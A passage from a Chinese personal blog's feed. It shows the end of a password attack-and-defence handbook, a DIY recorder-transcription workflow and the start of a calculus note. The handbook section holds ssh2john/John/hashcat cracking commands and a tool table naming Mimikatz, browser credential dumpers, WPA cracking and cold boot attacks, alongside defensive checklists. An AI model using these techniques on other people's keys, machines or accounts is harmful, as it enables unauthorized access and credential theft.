class="line">...（加密后的密钥数据）</span><br></pre></td></tr></table></figure><p>支持的加密算法：<code>aes256-ctr</code>、<code>aes256-cbc</code>、<code>aes128-gcm@openssh.com</code> 等。</p><h3 id="10-2-破解-SSH-私钥密码"><a href="#10-2-破解-SSH-私钥密码" class="headerlink" title="10.2 破解 SSH 私钥密码"></a>10.2 破解 SSH 私钥密码</h3><p><strong>前提：</strong> 攻击者已经获取了你的私钥文件（通过 Git 泄露、服务器入侵、恶意软件等途径）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Step 1: 将私钥转化为可破解的哈希</span></span><br><span class="line">ssh2john id_rsa &gt; ssh_hash.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 2: John the Ripper 破解</span></span><br><span class="line">john --wordlist=rockyou.txt ssh_hash.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或 Hashcat（模式 22911）</span></span><br><span class="line">hashcat -m 22911 ssh_hash.txt rockyou.txt</span><br></pre></td></tr></table></figure><p><strong>John the Ripper 对 SSH 的支持非常好</strong>——无论是 RSA、DSA、ECDSA 还是 Ed25519 密钥，格式统一用 <code>--format=ssh</code>。</p><h3 id="10-3-私钥泄露的常见途径"><a href="#10-3-私钥泄露的常见途径" class="headerlink" title="10.3 私钥泄露的常见途径"></a>10.3 私钥泄露的常见途径</h3><ul><li><strong>Git 仓库误提交：</strong> 全球每天都有私钥被 push 到 GitHub 公有仓库</li><li><strong>服务器 <code>/tmp</code> 目录残留</strong></li><li><strong>备份文件未加密</strong></li><li><strong>~&#x2F;.ssh&#x2F; 目录被恶意软件扫描上传</strong></li></ul><h3 id="10-4-防御指南"><a href="#10-4-防御指南" class="headerlink" title="10.4 防御指南"></a>10.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>SSH 私钥<strong>必须设置密码短语</strong>（passphrase）</li><li>使用 <strong>ssh-agent</strong>，只在会话开始时输入一次密码</li><li>生成 Ed25519 密钥（<code>ssh-keygen -t ed25519</code>），比 RSA 更快更安全</li><li><code>.gitignore</code> 中<strong>务必包含所有私钥格式</strong>（<code>id_*</code>、<code>*.pem</code>、<code>*.key</code>）</li><li>定期轮换密钥（如同定期换密码）</li><li>GitHub 用户：开启 <strong>Push Protection</strong>——push 时检测到私钥会自动拦截</li></ul></blockquote><hr><h2 id="十一、在线账号密码：攻击者的金矿"><a href="#十一、在线账号密码：攻击者的金矿" class="headerlink" title="十一、在线账号密码：攻击者的金矿"></a>十一、在线账号密码：攻击者的金矿</h2><p>这一节不讲技术原理——因为在线服务的安全性完全取决于<strong>服务提供方</strong>和<strong>你的使用习惯</strong>，不是你能控制的加密算法。</p><h3 id="11-1-凭据填充（Credential-Stuffing）"><a href="#11-1-凭据填充（Credential-Stuffing）" class="headerlink" title="11.1 凭据填充（Credential Stuffing）"></a>11.1 凭据填充（Credential Stuffing）</h3><p><strong>最常见、最有效的攻击方式。</strong></p><p>原理：你在 A 网站注册的账号密码，A 网站被拖库了（泄露）。攻击者拿到这组邮箱+密码，<strong>在你注册过的 B、C、D、E、F 网站全部试一遍</strong>。只要你在任何一个其他地方用了相同密码，账号就没了。</p><blockquote><p>2023 年有 240 亿组凭据在地下论坛流通。</p></blockquote><h3 id="11-2-钓鱼攻击——绕过一切加密"><a href="#11-2-钓鱼攻击——绕过一切加密" class="headerlink" title="11.2 钓鱼攻击——绕过一切加密"></a>11.2 钓鱼攻击——绕过一切加密</h3><p>不管你的密码多强，用了什么 2FA——如果你自己在假网站上输入了，加密就白做了。</p><p>现代钓鱼攻击越来越精致：</p><ul><li><strong>中间人反向代理（Evilginx 类）：</strong> 攻击者的服务器在真实网站和你的浏览器之间做代理，你的登录请求被原封不动转发给真实网站，<strong>连 2FA 的 session cookie 一起偷走</strong></li><li><strong>同形异义攻击：</strong> arnazon.com（注意那个 n）vs amazon.com</li><li><strong>短信钓鱼：</strong> 「您的快递配送失败，请点击链接更新地址」</li></ul><h3 id="11-3-防御指南"><a href="#11-3-防御指南" class="headerlink" title="11.3 防御指南"></a>11.3 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li><strong>不同网站用不同密码</strong>——密码管理器帮你做到</li><li><strong>开启 2FA</strong>——优先用 TOTP（Google Authenticator &#x2F; Authy）或硬件密钥（YubiKey），其次才是短信验证码</li><li>收到链接先看域名——<strong>不要只看文字</strong></li><li>定期检查 <a href="https://haveibeenpwned.com/">https://haveibeenpwned.com</a> ——看你的邮箱是否在已知泄露中</li><li>密码管理器还可以帮你对每个网站生成随机密码</li></ul></blockquote><hr><h2 id="十二、工具速查表：你可以上手的实战工具"><a href="#十二、工具速查表：你可以上手的实战工具" class="headerlink" title="十二、工具速查表：你可以上手的实战工具"></a>十二、工具速查表：你可以上手的实战工具</h2><table><thead><tr><th>场景</th><th>工具</th><th>用途</th><th>难度</th></tr></thead><tbody><tr><td><strong>压缩包密码</strong></td><td>John the Ripper (rar2john&#x2F;zip2john) + Hashcat</td><td>提取哈希 + GPU 破解</td><td>⭐⭐</td></tr><tr><td><strong>压缩包（PKZIP已知明文）</strong></td><td>bkcrack</td><td>12 字节已知明文反推密钥</td><td>⭐⭐⭐</td></tr><tr><td><strong>Office 文档</strong></td><td>office2john + Hashcat</td><td>提取哈希 + 破解</td><td>⭐⭐</td></tr><tr><td><strong>Excel 工作表保护</strong></td><td>Passcovery &#x2F; 手动编辑 XML</td><td>秒移除</td><td>⭐</td></tr><tr><td><strong>PDF 密码</strong></td><td>pdf2john.pl + John</td><td>提取哈希 + 破解</td><td>⭐⭐</td></tr><tr><td><strong>PDF 权限密码</strong></td><td>Smallpdf &#x2F; iLovePDF 在线工具</td><td>秒移除</td><td>⭐</td></tr><tr><td><strong>Windows NTLM Hash</strong></td><td>Mimikatz &#x2F; Impacket + Hashcat</td><td>提取 + GPU 破解</td><td>⭐⭐⭐</td></tr><tr><td><strong>Windows 密码绕过</strong></td><td>Windows PE U盘 + 粘滞键替换</td><td>物理绕过</td><td>⭐⭐</td></tr><tr><td><strong>手机锁屏</strong></td><td>DroidKit &#x2F; Dr.Fone &#x2F; Android ADB</td><td>商业工具或 ADB 操作</td><td>⭐⭐</td></tr><tr><td><strong>手机远程擦除</strong></td><td>Google 查找我的设备 &#x2F; iCloud 查找</td><td>远程重置</td><td>⭐</td></tr><tr><td><strong>Wi-Fi WPA2</strong></td><td>aircrack-ng 套件 + Hashcat</td><td>抓握手包 + 字典破解</td><td>⭐⭐⭐</td></tr><tr><td><strong>Wi-Fi PMKID</strong></td><td>hcxdumptool + Hashcat</td><td>静默抓取 + 破解</td><td>⭐⭐</td></tr><tr><td><strong>指纹测试</strong></td><td>电容硅胶指纹膜材料</td><td>自制假指纹（仅限安全研究）</td><td>⭐⭐⭐</td></tr><tr><td><strong>BitLocker 密钥提取</strong></td><td>Cold Boot 攻击工具</td><td>内存冷启动转储 + 密钥搜索</td><td>⭐⭐⭐⭐</td></tr><tr><td><strong>Chrome 密码提取</strong></td><td>Sharp-HackBrowserData &#x2F; BrowserGhost</td><td>本机密码解密提取</td><td>⭐⭐</td></tr><tr><td><strong>SSH 私钥</strong></td><td>ssh2john + John the Ripper</td><td>提取哈希 + 字典破解</td><td>⭐⭐</td></tr><tr><td><strong>泄露检测</strong></td><td>haveibeenpwned.com</td><td>检查邮箱是否已泄露</td><td>⭐</td></tr></tbody></table><hr><h2 id="十三、总结：普通人最少花费、最大收益的安全清单"><a href="#十三、总结：普通人最少花费、最大收益的安全清单" class="headerlink" title="十三、总结：普通人最少花费、最大收益的安全清单"></a>十三、总结：普通人最少花费、最大收益的安全清单</h2><p>如果你不想读前面一万字，以下是你现在就可以做的事——按重要性排序：</p><h3 id="🔴-立刻做（今天，5-分钟）"><a href="#🔴-立刻做（今天，5-分钟）" class="headerlink" title="🔴 立刻做（今天，5 分钟）"></a>🔴 立刻做（今天，5 分钟）</h3><ol><li><strong>关掉路由器 WPS</strong> → 登录路由器管理界面找到 WPS 设置，关掉</li><li><strong>不同网站用不同密码</strong> → 安装 Bitwarden，花 2 分钟注册</li><li><strong>开启重要账号的 2FA</strong> → 邮箱、银行、支付平台至少开启 TOTP 或短信验证</li><li><strong>清空浏览器保存的密码</strong> → 全部迁移到 Bitwarden 后，逐条删除</li></ol><h3 id="🟡-本周做"><a href="#🟡-本周做" class="headerlink" title="🟡 本周做"></a>🟡 本周做</h3><ol start="5"><li><strong>修改 Wi-Fi 密码</strong> → 至少 12 位混合</li><li><strong>BitLocker 加 PIN</strong> → 开启 TPM+PIN 模式</li><li><strong>Firefox 开主密码</strong> → 设置 → 隐私与安全 → 主密码</li><li><strong>检查 haveibeenpwned.com</strong> → 看你的邮箱&#x2F;密码是否已泄露</li></ol><h3 id="🟢-本月做"><a href="#🟢-本月做" class="headerlink" title="🟢 本月做"></a>🟢 本月做</h3><ol start="9"><li><strong>所有加密压缩包都用 RAR5&#x2F;7z 格式</strong>，密码 12 位以上</li><li><strong>SSH 私钥全部换成 Ed25519 + passphrase</strong></li><li><strong>手机 PIN 从 4 位改 6 位</strong>，iPhone 开抹掉数据</li><li><strong>做一遍 Git 仓库安全审计</strong>：确认没有私钥、密码、token 被误提交</li></ol><hr><blockquote><p><strong>最后的最后：</strong></p><p>密码系统的安全性 &#x3D; <strong>算法强度 × 实现正确性 × 人的使用习惯</strong>。</p><p>三个因子中，算法是最强的那个，人是最弱的那个。攻击者不是黑掉 AES-256 的，他们是黑掉那个用「password123」当万能密码的你。</p><p>花 30 分钟做好上面的清单，你就能防住 99% 针对普通人的攻击。剩下的 1% 是国家级对手——如果真有那一天，你需要的不再是这篇文章。</p></blockquote><hr><p><em>本文技术信息截止 2026 年 7 月，所有工具和方法仅适用于合法密码恢复和安全审计场景。</em></p>]]>
    </content>
    <id>https://misaka10013.cn/p/3624725012.html</id>
    <link href="https://misaka10013.cn/p/3624725012.html"/>
    <published>2026-07-24T03:50:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p><strong>⚠️ 重要声明：</strong> 本文内容仅供安全教育和自我保护用途。未经授权破解他人的密码、系统或网络是违法行为。了解攻击方式是为了更好地防御，而不是成为攻击者。所有演示技术均针对”忘记自己密码”的场景。</p>
</blockquote>
<hr>
<h2 id="前言：密码真的在保护你吗？"><a href="#前言：密码真的在保护你吗？" class="headerlink" title="前言：密码真的在保护你吗？"></a>前言：密码真的在保护你吗？</h2>]]>
    </summary>
    <title>日常密码攻防手册 —— 普通人用到的每一种密码，弱点与破解途径全解析</title>
    <updated>2026-08-07T09:31:55.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="https://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="DIY" scheme="https://misaka10013.cn/tags/DIY/"/>
    <category term="录音笔" scheme="https://misaka10013.cn/tags/%E5%BD%95%E9%9F%B3%E7%AC%94/"/>
    <category term="语音识别" scheme="https://misaka10013.cn/tags/%E8%AF%AD%E9%9F%B3%E8%AF%86%E5%88%AB/"/>
    <content>
      <![CDATA[<h2 id="录音到免费转录——健全日记第一步"><a href="#录音到免费转录——健全日记第一步" class="headerlink" title="录音到免费转录——健全日记第一步"></a>录音到免费转录——健全日记第一步</h2><p>起因是在4月到6月，我基本已经习惯了使用小守日记的过程，特别是使用小守记录我和家人的互动沟通内容。但最近和家人的沟通大部分集中到了线下场景。这导致我很难有精力抽出来记录大量日记，也不好像之前直接复制粘贴就可以把线上的互动信息导入到小守日记中去。</p><p>我之前就在有个持续的想法，把我所见、所闻的一切数据化，都产生日志原始数据，再由AI帮我记录和分析。所以基于最近生活中日记这个问题的痛点，我开始思考解决方案。很容易想到，把生活全程录音，然后将录音转为原始生活沟通对话记录，扔给AI，是目前相对容易实现的一个路径。</p><p>由此我开始不断和AI头脑风暴思考如何实现。最开始考虑了较为成熟的商业录音设备和转录软件，但核对成本的话很快就能发现，购买AI录音硬件设备就需要几百到一千，而这类厂商提供的转录服务也是有时间额度限制的，要实现7*24小时录音，可以说成本很大。</p><p>我也有尝试直接使用手机安装app进行录音和转录，但手机本身有其他的功能，例如接打电话、微信语音等等，不可能用于长时间录音工作。而测试的讯飞听见之类的商业app，我发现不管在音频转写文本的准确性还是在说话人的识别的准确性上都堪忧，让我肯本不好使用。最后我开始和AI思考自建DIY方案。包括自己找板子、写固件、写云端和手机app等，各自点子我都和AI讨论核对了下实现难度和成本。</p><p>最后基于AI推荐的基于成本、硬件素质和可玩性的分析，我买了一支搜狗E1录音笔。曾经大概2020年的时候市场售价上千元，但随着2024年搜狗放弃录音笔云端的转写等功能，现在这个设备咸鱼二手只需要80元。</p><p>设备参数上，2100mAh 电池，连续录音 10 小时，待机 20 天；32GB 存储，可存约 200 小时录音；8 麦阵列 + clairVoice 算法 + AGC 自动增益；4 种录音模式：会议（360°全向）、听课（哈曼指向麦）、采访（全向）、音乐（Hi-Res 96kHz&#x2F;24bit）。RK3308四核A35，已经有人在github上面研究搜狗E1刷Armbian，刷了之后就可以编译写程序进去。也有人ADB进原厂系统，进去写一些小的功能，例如推上传之类的。</p><p>当然，我一贯认为，能满足需求的话，我们能少造轮子就少造，利用现有的轮子，站在巨人身上解决问题，才是最有效率的解决方案。录音笔有了，下一步就是解决便捷、低成本的转写和说话人识别的问题了。AI总是喜欢给我秀他多能写程序，反复给我说不难，这个功能几十行，那个功能几十行，几百行核心代码解决功能云云。AI写代码是不难，调试和改BUG费人哦。</p><p>基于简化需求，少造轮子，<strong>录音笔录音 → 手机端能看文本</strong>的需求。我们开始继续推进调研和实践的步伐。</p><h2 id="第一反应：看看有没有现成的轮子"><a href="#第一反应：看看有没有现成的轮子" class="headerlink" title="第一反应：看看有没有现成的轮子"></a>第一反应：看看有没有现成的轮子</h2><p>御坂和人讨论的第一个问题是——有没有人已经搞过这个？</p><p>答案是：有人在搞，但都不太够。</p><p>微信公众号上有篇文章，讲了一位大佬用DeepSeek + 自建服务器逆向复活了E1的全链路。做法是：DNS劫持 + 逆向搜狗的RSA-1024私有加密协议 + SiliconFlow STT + DeepSeek做摘要。架势很漂亮，问题是他没开源代码。等于只给思路不给轮子，御坂看着这7-8个环节的脆弱链路，果断跳过（运维成本比买个新录音笔都高好吧）。</p><p>GitHub上也有个<a href="https://github.com/Hermes-Language/Armbian_E1">Hermes-Language&#x2F;Armbian_E1</a>项目，尝试在E1上跑完整Armbian系统，但目前还卡在设备树适配阶段。还不太成熟。</p><p>再就是直接在社区网站WhyCan上看到有人在用IDA Pro逆向E1的核心可执行文件，纯研究性质，离”能用”还远。</p><p><strong>结论：社区有动静，但没有能直接用的。</strong></p><h2 id="那换个录音笔呢？"><a href="#那换个录音笔呢？" class="headerlink" title="那换个录音笔呢？"></a>那换个录音笔呢？</h2><p>御坂查了一下讯飞录音笔的二手价格和转写政策——</p><p>H1 Pro闲鱼300-450元，SR302在400-550元。价格不算贵，而且讯飞自带”终身免费每天24小时转写额度”。</p><p>听起来很香。但御坂对这一类”终身免费”承诺有天然的不信任——毕竟搜狗当年也是这么说的，三年就跑路了。把核心需求绑在厂商的承诺上，和现在的处境一模一样。</p><p><strong>否决。</strong></p><h2 id="自己做一个转写工具？"><a href="#自己做一个转写工具？" class="headerlink" title="自己做一个转写工具？"></a>自己做一个转写工具？</h2><p>于是御坂开始认真考虑自建方案。</p><p>硬件：GTX 1065 4GB专用显存（从任务管理器再三确认过），Windows。需求收敛为四个点：</p><table><thead><tr><th>要求</th><th>说明</th></tr></thead><tbody><tr><td>中文转写</td><td>不要翻译腔的那种</td></tr><tr><td>区分说话人</td><td>通常是2-3个熟人对话</td></tr><tr><td>显存友好</td><td>4GB显存不能崩</td></tr><tr><td>输出MD</td><td>说话人+时间戳+内容，方便用Obsidian多端看</td></tr></tbody></table><p>技术上跑了一圈对比：</p><table><thead><tr><th>转写引擎</th><th>中文效果</th><th>生态</th></tr></thead><tbody><tr><td>Whisper large-v3 int8</td><td>85-90%</td><td>最成熟</td></tr><tr><td>SenseVoice（阿里FunASR）</td><td>93%+</td><td>中文最优，但自己整合费劲</td></tr><tr><td>medium int8</td><td>85%</td><td>显存稳妥</td></tr></tbody></table><p>最初选定的方案是<strong>WhisperX一体化</strong>：faster-whisper large-v3 int8 做转写 + pyannote 3.1 做说话人分离 + wav2vec2 做时间对齐 + tkinter 写个简单GUI。大约500行Python，打包成exe。看起来是可以的。</p><h2 id="第一次实测——当场翻车"><a href="#第一次实测——当场翻车" class="headerlink" title="第一次实测——当场翻车"></a>第一次实测——当场翻车</h2><p>基于少重复造轮子，根据上面的转写技术路线，我让AI最后找到了实现相似技术路线的软件——Buzz（18.8k星的开源Whisper桌面工具，准备先做一波验证。</p><p><strong>第一刀：large-v3 直接报 OOM。</strong></p><p>4GB显存跑large-v3是钢丝，CTranslate2 int8量化后理论上峰值~3.5GB，实际跑到一半就爆了（后来用whisper.cpp + large-v3-turbo-q5_0才勉强跑通，Q5量化的turbo版）。</p><p><strong>第二刀：转写文字本身还行。</strong> 用Q5量化的模型转了段中文对话，内容基本可读，没有离谱的识别错误。</p><p><strong>第三刀——也是最致命的一刀：说话人分离不准确。</strong></p><p>Buzz内置的diarization把对话里的人分得乱七八糟。而且一旦开启说话人识别，4GB的显存更加不够用了，只能完全用CPU跑转写和识别，速度很慢。</p><h2 id="技术深潜：说话人分离为什么这么难？"><a href="#技术深潜：说话人分离为什么这么难？" class="headerlink" title="技术深潜：说话人分离为什么这么难？"></a>技术深潜：说话人分离为什么这么难？</h2><p>还是回到先把问题搞清楚。</p><p>一查才发现，<strong>说话人分离（Speaker Diarization）是语音领域公认的硬骨头，难度远高于转写本身。</strong> 五个根本性障碍：</p><ol><li><p><strong>声纹漂移</strong>——同一个人早上刚醒和下午兴奋时声音不一样，感冒了不一样，离麦克风30cm和1.5m不一样。声纹不是指纹，它是个会动的靶子。</p></li><li><p><strong>重叠语音</strong>——单麦录音下两人同时说话 &#x3D; 两段声波在同一个声道叠加。数学上欠定，无法完美分离。</p></li><li><p><strong>说话人数未知</strong>——系统得自己判断录音里有几个人。K值不定，多分少分都让错误率飙升。</p></li><li><p><strong>远场 + 单麦</strong>——便携录音笔离声源0.5-2m，混响+环境噪音污染了本就不稳定的声纹特征。</p></li><li><p><strong>短片段无法建声纹</strong>——“嗯””对””好的”只有0.3秒，不够提取稳定的声纹嵌入。</p></li></ol><p><strong>业界最好水平：DER（Diarization Error Rate）~10-15%，而且是在实验室AMI多麦近场数据集上。</strong> 换到便携录音笔的真实场景，只会更差。</p><p>御坂认识到：追求”全自动100%准确的说话人分离”在当前技术条件下是不现实的。Buzz不行，讯飞也不行，自建WhisperX+pyannote大概率也不行。</p><h2 id="关键决策：放弃全自动，转向人工标注"><a href="#关键决策：放弃全自动，转向人工标注" class="headerlink" title="关键决策：放弃全自动，转向人工标注"></a>关键决策：放弃全自动，转向人工标注</h2><p>既然自动分离的准确率天花板就摆在那，不如换个思路——</p><p><strong>把自动分离当作草稿，把精力放在”让修正草稿这件事变得极其方便”上。</strong></p><p>需求从”全自动区分说话人”变成了”转写+粗分离+便捷的编辑器人工标注”。</p><p>这一转，方向也转了——不再自己写转写工具（那是重复造轮子），而是找「转写+说话人分离+编辑器」一体化的现成方案。</p><h2 id="峰回路转：发现-noScribe"><a href="#峰回路转：发现-noScribe" class="headerlink" title="峰回路转：发现 noScribe"></a>峰回路转：发现 noScribe</h2><p>顺着”转录编辑器”、”人工标注说话人”这个方向重新搜索，AI又帮忙找到了一个神器 <a href="https://github.com/kaixxx/noScribe">noScribe</a>。</p><p>它的定位恰好是御坂需要的：</p><table><thead><tr><th>维度</th><th>细节</th></tr></thead><tbody><tr><td>转写引擎</td><td>faster-whisper（precise模型），底层和御坂原先想自建的一模一样</td></tr><tr><td>说话人分离</td><td>内置pyannote系列模型</td></tr><tr><td>编辑器</td><td>波形图+文本双栏，点击任意文本即跳转到音频对应位置</td></tr><tr><td>说话人编辑</td><td>搜索”Speaker A”→ 全部替换为”张三”，几秒钟的事</td></tr><tr><td>输出</td><td>HTML&#x2F;VTT&#x2F;TXT</td></tr><tr><td>隐私</td><td>全本地离线</td></tr><tr><td>价格</td><td>开源免费</td></tr></tbody></table><p>CPU版不依赖CUDA，御坂那4GB显存的问题直接不存在了。</p><p>一顿操作下载安装，测试了noScribe的precise模型——<strong>中文转写效果很好，说话人识别也可用，编辑器校对体验流畅。</strong> 一波带走。AI原计划的造轮子行动，直接归零。</p><h2 id="落地：VToT-工作流"><a href="#落地：VToT-工作流" class="headerlink" title="落地：VToT 工作流"></a>落地：VToT 工作流</h2><p>最终方案不是”一个软件”，而是「noScribe + 目录约定 + 配套脚本」的完整工作流。便宜强大的录音笔录音，免费开源的软件转写识别，但我还需要把两者的流程合并起来，让每次新增的录音能够便捷的转为我需要的文本，一方面存档到了我的obsidian云上去，另一方面也方便我同步给日记小守。要形成操作工作流：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">D:\1\coding\VToT\</span><br><span class="line">├── V\                  ← 放置原始WAV + noScribe输出的HTML</span><br><span class="line">├── html\               ← 审阅完的HTML（说话人已改名、文字已校对）</span><br><span class="line">│   └── 一键转MD.bat    ← 双击执行</span><br><span class="line">├── outMD\              ← 自动生成的MD文件</span><br><span class="line">└── convert.py          ← HTML→MD转换脚本（零依赖，纯标准库）</span><br></pre></td></tr></table></figure><p><strong>日常操作只要七步：</strong></p><ol><li>E1录音笔USB连电脑</li><li>复制WAV到<code>V\</code>目录</li><li>打开noScribe → 导入WAV → precise模型 → 转写</li><li>在编辑器里对照波形逐句核对，搜索替换说话人名字（Speaker A → “张三”）</li><li>审完的HTML复制到<code>html\</code>目录</li><li>双击<code>一键转MD.bat</code> → 自动将<strong>新增的</strong>HTML转为MD输出到<code>outMD\</code></li><li>把MD拖进Obsidian仓库 → 坚果云&#x2F;COS同步 → 手机端多端可查</li></ol><p>主要还是因为音频转文本和说话人识别这两处，目前还是没办法做到100%的准确，导致必然需要4-5人工审核这两步。要不然最后喂给我的日记小守AI，咬文嚼字的AI肯定理解错误。<br>convert.py是让AI用Python内置html.parser写（零依赖，不怕环境崩），解析noScribe的HTML结构，提取每条语句的<strong>说话人、时间戳、文本内容</strong>，输出格式：</p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="section"># 2026-07-22-会议讨论</span></span><br><span class="line"></span><br><span class="line">[张三] 00:00:00</span><br><span class="line">哎，喂，你好，请问是张先生是吧？</span><br><span class="line"></span><br><span class="line">[李四] 00:00:12</span><br><span class="line">好的好的，我先说一下我这边的情况。</span><br></pre></td></tr></table></figure><p>并且做了增量去重——outMD中已有同名MD自动跳过，不会重复转换。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>整个项目的演进路径：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">&quot;能不能逆向复活？&quot; → 社区方案不全</span><br><span class="line">        ↓</span><br><span class="line">&quot;要不要换讯飞？&quot; → 不信任厂商承诺</span><br><span class="line">        ↓</span><br><span class="line">&quot;自己写一个转写工具？&quot; → 500行Python，可行但费工</span><br><span class="line">        ↓</span><br><span class="line">&quot;先测一下Buzz再说&quot; → large-v3 OOM，说话人分离不准</span><br><span class="line">        ↓</span><br><span class="line">&quot;为什么说话人分离这么难？&quot; → 技术深潜，接受现实</span><br><span class="line">        ↓</span><br><span class="line">&quot;放弃全自动，转人工标注&quot; → 方向切换</span><br><span class="line">        ↓</span><br><span class="line">&quot;有没有转录编辑器？&quot; → 发现noScribe</span><br><span class="line">        ↓</span><br><span class="line">&quot;实测通过&quot; → 不写代码了，写配套脚本</span><br><span class="line">        ↓</span><br><span class="line">&quot;VToT工作流落地&quot; → 完整方案</span><br></pre></td></tr></table></figure><p>核心经验一句话：<strong>先找成品再动手，先验证再投入。</strong> 御坂差点就要写一个完整的桌面应用了，结果发现一个免费开源工具把事情全干了。</p><p>现在搜狗E1从一个被厂商抛弃的”哑巴”变成了完整可用的录音转录系统——零费用、零联网、零换设备。转写出来的MD结构化文本，后续喂给日记助手「小守」做每日摘要也极其方便（说话人、时间戳、内容三个维度天然对齐）。</p><p>这个方案目前就暂定这样执行一阵子了。如果后面使用起来觉得繁琐，到时候优化的方向可能是看如何便捷的让录音从录音笔中导出出来，以及可能让转写和说话人识别放到云端做服务去。不过这些就会增加成本。先继续现状跑跑看看了。</p>]]>
    </content>
    <id>https://misaka10013.cn/p/2280609992.html</id>
    <link href="https://misaka10013.cn/p/2280609992.html"/>
    <published>2026-07-22T08:26:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="录音到免费转录——健全日记第一步"><a href="#录音到免费转录——健全日记第一步" class="headerlink" title="录音到免费转录——健全日记第一步"></a>录音到免费转录——健全日记第一步</h2><p>起因是在4月到6月，我基本已经习惯了使用小守日记的过程，特别是使用小守记录我和家人的互动沟通内容。但最近和家人的沟通大部分集中到了线下场景。这导致我很难有精力抽出来记录大量日记，也不好像之前直接复制粘贴就可以把线上的互动信息导入到小守日记中去。</p>
<p>我之前就在有个持续的想法，把我所见、所闻的一切数据化，都产生日志原始数据，再由AI帮我记录和分析。所以基于最近生活中日记这个问题的痛点，我开始思考解决方案。很容易想到，把生活全程录音，然后将录音转为原始生活沟通对话记录，扔给AI，是目前相对容易实现的一个路径。</p>]]>
    </summary>
    <title>录音到免费转录——健全日记第一步</title>
    <updated>2026-08-07T09:31:55.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="知识库" scheme="https://misaka10013.cn/categories/knowledge-base/"/>
    <category term="微积分" scheme="https://misaka10013.cn/tags/%E5%BE%AE%E7%A7%AF%E5%88%86/"/>
    <category term="数学" scheme="https://misaka10013.cn/tags/%E6%95%B0%E5%AD%A6/"/>
    <content>
      <![CDATA[<h1 id="微积分：理解变化的数学语言"><a href="#微积分：理解变化的数学语言" class="headerlink" title="微积分：理解变化的数学语言"></a>微积分：理解变化的数学语言</h1><blockquote><p>这是我的知识库笔记，记录了微积分的核心概念、原理机制、应用领域和实用工具。<br>起源于一次与AI助手关于微积分的深度对话，我发现自己对”变化”和”累积”的理解远比死记公式更有价值。<br>计算可以交给工具，但概念理解、问题建模和批判性思维——这些才是真正属于我的资产。</p></blockquote><hr><h2 id="一、微积分是什么"><a href="#一、微积分是什么" class="headerlink" title="一、微积分是什么"></a>一、微积分是什么</h2><p>微积分（Calculus）是高等数学中研究<strong>函数的微分与积分</strong>及其应用的数学分支。它的核心任务是两件事：</p><ol><li><strong>微分</strong>：捕捉瞬间的变化率——“此刻有多快？”</li><li><strong>积分</strong>：计算连续变化下的总效果——“一共走了多远？”</li></ol><p>一句话总结：<strong>微分是”切碎”，积分是”拼回”。导数告诉你每一片有多陡（变化率）。</strong></p><p>现实世界中的大多数现象都不是静止的——行星轨道、流体流动、电磁场、经济边际效应，都是连续的、动态的。没有微积分，我们只能处理离散的、均匀的情况。牛顿和莱布尼茨发明微积分后，物理定律才能写成简洁的微分方程，现代科学几乎寸步难行。</p><h3 id="函数——微积分的前置概念"><a href="#函数——微积分的前置概念" class="headerlink" title="函数——微积分的前置概念"></a>函数——微积分的前置概念</h3><p>微积分研究的是<strong>函数（Function）</strong>。什么是函数？</p><blockquote><p>函数是一种规则：你给我一个输入值，我给你一个对应的输出值。</p></blockquote><p>就像一台机器：投入原料 $x$，产出产品 $y$。这个规则可以用方程写出来，比如 $y &#x3D; x^2$——你给我 $x&#x3D;3$，我给你 $y&#x3D;9$。</p><p>微积分关心的不是某一对具体的输入输出值，而是这个规则本身的行为：输出值随输入值变化的趋势有多快？累积了多少总量？函数就是微积分的”研究对象”——它描述了变化和累积所依赖的规则。</p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/calc_fig1_derivative_slope.png" alt="图1：导数的几何含义——曲线的斜率"></p><hr><h2 id="二、核心原理与机制"><a href="#二、核心原理与机制" class="headerlink" title="二、核心原理与机制"></a>二、核心原理与机制</h2><h3 id="2-1-极限——微积分的根基"><a href="#2-1-极限——微积分的根基" class="headerlink" title="2.1 极限——微积分的根基"></a>2.1 极限——微积分的根基</h3><p>微积分的一切都建立在**极限（Limit）**之上。</p><p>极限的思想：让一个量无限趋近于某个值，但不真正到达它，看看在这个过程中发生了什么。</p><p>以瞬时速度为例：一辆车的位置 $s(t) &#x3D; t^2$，想知道 $t&#x3D;2$ 秒那一刻的速度。</p><table><thead><tr><th align="center">时间间隔 Δt</th><th align="center">位置差 Δs</th><th align="center">平均速度 Δs&#x2F;Δt</th></tr></thead><tbody><tr><td align="center">0.1</td><td align="center">0.41</td><td align="center">4.1 m&#x2F;s</td></tr><tr><td align="center">0.01</td><td align="center">0.0401</td><td align="center">4.01 